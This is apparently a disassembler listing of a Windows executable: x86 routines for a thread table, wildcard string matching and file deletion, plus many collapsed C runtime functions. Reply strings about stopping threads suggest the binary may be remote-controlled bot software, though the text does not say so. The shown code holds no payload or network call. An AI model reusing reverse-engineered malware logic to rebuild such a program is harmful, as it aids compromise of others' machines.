mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_416F79
test edi, edi
jle short loc_416F6B
cmp [esi], edi
jz short loc_416F6B
cmp ebx, edi
jnz short loc_416F79
loc_416F6B: ; CODE XREF: sub_416F43+1Ej
; sub_416F43+22j
push ebx
call sub_416E83
test eax, eax
pop ecx
jz short loc_416F79
inc [ebp+var_4]
loc_416F79: ; CODE XREF: sub_416F43+1Aj
; sub_416F43+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_486E04
jl short loc_416F57
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_416F43 endp
; =============== S U B R O U T I N E =======================================
sub_416F90 proc near ; CODE XREF: sub_4071CC+Bp
; sub_407243+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_442070
loc_416F97: ; CODE XREF: sub_416F90+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_416FA0
inc eax
loc_416FA0: ; CODE XREF: sub_416F90+Dj
add ecx, 234h
cmp ecx, offset dword_486E00
jl short loc_416F97
retn
sub_416F90 endp
; =============== S U B R O U T I N E =======================================
sub_416FAF proc near ; CODE XREF: sub_40EE51+5678p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_442070
loc_416FB9: ; CODE XREF: sub_416FAF+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_416FD2
add ecx, 234h
inc edx
cmp ecx, offset dword_486E00
jl short loc_416FB9
pop esi
retn
; ---------------------------------------------------------------------------
loc_416FD2: ; CODE XREF: sub_416FAF+10j
mov eax, edx
pop esi
retn
sub_416FAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416FD6(int,int,int,int,int,int,int,char *Str)
sub_416FD6 proc near ; CODE XREF: sub_40EE51+1061p
Dest = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
Str = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+Str], eax
jz short loc_416FEF
push [ebp+Str] ; Str
call _atoi
pop ecx
loc_416FEF: ; CODE XREF: sub_416FD6+Ej
push eax
push [ebp+arg_18]
call sub_416F43
pop ecx
test eax, eax
pop ecx
jle short loc_41701B
push eax
lea eax, [ebp+Dest]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_417035
; ---------------------------------------------------------------------------
loc_41701B: ; CODE XREF: sub_416FD6+26j
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax ; Dest
call _sprintf
add esp, 10h
loc_417035: ; CODE XREF: sub_416FD6+43j
cmp [ebp+arg_C], 0
jnz short loc_417055
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_417055: ; CODE XREF: sub_416FD6+63j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
leave
retn
sub_416FD6 endp
; =============== S U B R O U T I N E =======================================
sub_417064 proc near ; CODE XREF: sub_401000+A2p
; sub_401447+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_442084[eax], ecx
mov ds:dword_442070[eax], ecx
mov ds:dword_442074[eax], ecx
mov ds:dword_442078[eax], ecx
mov ds:dword_44207C[eax], ecx
mov ds:dword_442080[eax], ecx
mov byte ptr ds:dword_441E70[eax], cl
mov ds:byte_442088[eax], cl
retn
sub_417064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4170A1 proc near ; CODE XREF: sub_40EE51+61A8p
; sub_4171CF+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4170AB: ; CODE XREF: sub_4170A1+68j
mov cl, [esi]
test cl, cl
jz short loc_41710B
cmp eax, 1
jnz short loc_41710B
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41710B
cmp cl, 2Ah
jz short loc_4170F2
cmp cl, 3Fh
jz short loc_4170D5
cmp cl, 5Bh
jz short loc_4170DA
xor eax, eax
cmp cl, dl
setz al
loc_4170D5: ; CODE XREF: sub_4170A1+26j
inc [ebp+arg_4]
jmp short loc_417105
; ---------------------------------------------------------------------------
loc_4170DA: ; CODE XREF: sub_4170A1+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_417137
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_417105
; ---------------------------------------------------------------------------
loc_4170F2: ; CODE XREF: sub_4170A1+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4171CF
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_417105: ; CODE XREF: sub_4170A1+37j
; sub_4170A1+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4170AB
; ---------------------------------------------------------------------------
loc_41710B: ; CODE XREF: sub_4170A1+Ej
; sub_4170A1+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41711B
cmp eax, 1
jnz short loc_417132
inc esi
mov [ebp+arg_0], esi
jmp short loc_41710B
; ---------------------------------------------------------------------------
loc_41711B: ; CODE XREF: sub_4170A1+6Dj
cmp eax, 1
jnz short loc_417132
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_417132
cmp byte ptr [esi], 0
jnz short loc_417132
push 1
pop eax
jmp short loc_417134
; ---------------------------------------------------------------------------
loc_417132: ; CODE XREF: sub_4170A1+72j
; sub_4170A1+7Dj ...
xor eax, eax
loc_417134: ; CODE XREF: sub_4170A1+8Fj
pop esi
pop ebp
retn
sub_4170A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417137 proc near ; CODE XREF: sub_4170A1+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_417158
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_417158: ; CODE XREF: sub_417137+19j
push ebx
push esi
loc_41715A: ; CODE XREF: sub_417137+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_417168
cmp [ebp+var_4], eax
jnz short loc_4171B4
loc_417168: ; CODE XREF: sub_417137+2Aj
test edi, edi
jnz short loc_4171A9
cmp bl, 2Dh
jnz short loc_41719D
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_41719D
cmp al, 5Dh
jz short loc_41719D
cmp [ebp+var_4], edi
jnz short loc_41719D
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4171A9
cmp bl, al
jg short loc_4171A9
push 1
mov [edx], esi
pop edi
jmp short loc_4171A9
; ---------------------------------------------------------------------------
loc_41719D: ; CODE XREF: sub_417137+38j
; sub_417137+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4171A9
push 1
pop edi
loc_4171A9: ; CODE XREF: sub_417137+33j
; sub_417137+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41715A
; ---------------------------------------------------------------------------
loc_4171B4: ; CODE XREF: sub_417137+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4171C1
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4171C1: ; CODE XREF: sub_417137+82j
cmp edi, eax
jnz short loc_4171CA
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4171CA: ; CODE XREF: sub_417137+8Cj
mov eax, edi
pop edi
leave
retn
sub_417137 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171CF proc near ; CODE XREF: sub_4170A1+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4171EB: ; CODE XREF: sub_4171CF+3Aj
cmp [eax], bl
jz short loc_41720B
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_417200
cmp cl, 2Ah
jnz short loc_41720B
cmp cl, 3Fh
jnz short loc_417203
loc_417200: ; CODE XREF: sub_4171CF+25j
inc eax
mov [edi], eax
loc_417203: ; CODE XREF: sub_4171CF+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4171EB
; ---------------------------------------------------------------------------
loc_41720B: ; CODE XREF: sub_4171CF+1Ej
; sub_4171CF+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_417216
inc dword ptr [esi]
jmp short loc_41720B
; ---------------------------------------------------------------------------
loc_417216: ; CODE XREF: sub_4171CF+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_417237
mov edx, [esi]
cmp [edx], bl
jz short loc_417228
xor eax, eax
jmp short loc_417297
; ---------------------------------------------------------------------------
loc_417228: ; CODE XREF: sub_4171CF+53j
cmp cl, bl
jnz short loc_417237
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_417237
push 1
pop eax
jmp short loc_417297
; ---------------------------------------------------------------------------
loc_417237: ; CODE XREF: sub_4171CF+4Dj
; sub_4171CF+5Bj ...
push eax
push dword ptr [esi]
call sub_4170A1
pop ecx
test eax, eax
pop ecx
jnz short loc_417281
loc_417245: ; CODE XREF: sub_4171CF+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_417249: ; CODE XREF: sub_4171CF+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_417261
cmp cl, 5Bh
jz short loc_417261
cmp dl, bl
jz short loc_417261
inc eax
mov [edi], eax
jmp short loc_417249
; ---------------------------------------------------------------------------
loc_417261: ; CODE XREF: sub_4171CF+82j
; sub_4171CF+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_417278
push eax
push dword ptr [esi]
call sub_4170A1
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_41727D
; ---------------------------------------------------------------------------
loc_417278: ; CODE XREF: sub_4171CF+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_41727D: ; CODE XREF: sub_4171CF+A7j
cmp eax, ebx
jnz short loc_417245
loc_417281: ; CODE XREF: sub_4171CF+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_417294
mov eax, [esi]
cmp [eax], bl
jnz short loc_417294
mov [ebp+var_4], 1
loc_417294: ; CODE XREF: sub_4171CF+B6j
; sub_4171CF+BCj
mov eax, [ebp+var_4]
loc_417297: ; CODE XREF: sub_4171CF+57j
; sub_4171CF+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4171CF endp
; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4172EE proc near ; CODE XREF: sub_401000+2Ep
; sub_401D79+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ds:dword_438528, eax
retn
sub_4172EE endp
; [0000001E BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND]
; [00000013 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND]
; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; [00000007 BYTES: COLLAPSED FUNCTION sub_417E66. PRESS KEYPAD "+" TO EXPAND]
; [00000007 BYTES: COLLAPSED FUNCTION sub_417E6D. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION unknown_libname_2. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [00000054 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [000000B4 BYTES: COLLAPSED FUNCTION _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
align 4
; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
; [0000006D BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000DC BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND]
; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION _fgets. PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND]
; [00000050 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND]
; [00000120 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [0000010A BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4195E9 proc near ; CODE XREF: sub_40D000+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_4230A4 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_419609
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
call __dosmaperr
pop ecx
loc_419605: ; CODE XREF: sub_4195E9+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419609: ; CODE XREF: sub_4195E9+Dj
test al, 1
jz short loc_41962A
test [esp+arg_4], 2
jz short loc_41962A
mov ds:dword_486FCC, 0Dh
mov ds:dword_486FD0, 5
jmp short loc_419605
; ---------------------------------------------------------------------------
loc_41962A: ; CODE XREF: sub_4195E9+22j
; sub_4195E9+29j
xor eax, eax
retn
sub_4195E9 endp
; ---------------------------------------------------------------------------
align 10h
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND]
; [000000FF BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4199AA proc near ; CODE XREF: sub_40EE51+2BE2p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_423158 ; DeleteFileA
test eax, eax
jnz short loc_4199C0
call ds:dword_423088 ; RtlGetLastWin32Error
jmp short loc_4199C2
; ---------------------------------------------------------------------------
loc_4199C0: ; CODE XREF: sub_4199AA+Cj
xor eax, eax
loc_4199C2: ; CODE XREF: sub_4199AA+14j
test eax, eax
jz short loc_4199D1
push eax
call __dosmaperr
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4199D1: ; CODE XREF: sub_4199AA+1Aj
xor eax, eax
retn
sub_4199AA endp
; [000000D7 BYTES: COLLAPSED FUNCTION _WinMainCRTStartup. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call __XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call __exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND]
off_41A349 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
dd offset loc_419C9D ; jump table for switch statement
dd offset loc_419CB8
dd offset loc_419D04
dd offset loc_419D3B
dd offset loc_419D43
dd offset loc_419D78
dd offset loc_419E0B
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41A61C proc near ; CODE XREF: ___endstdiop
push 1
call _flsall
pop ecx
retn
sub_41A61C endp
; [0000006D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
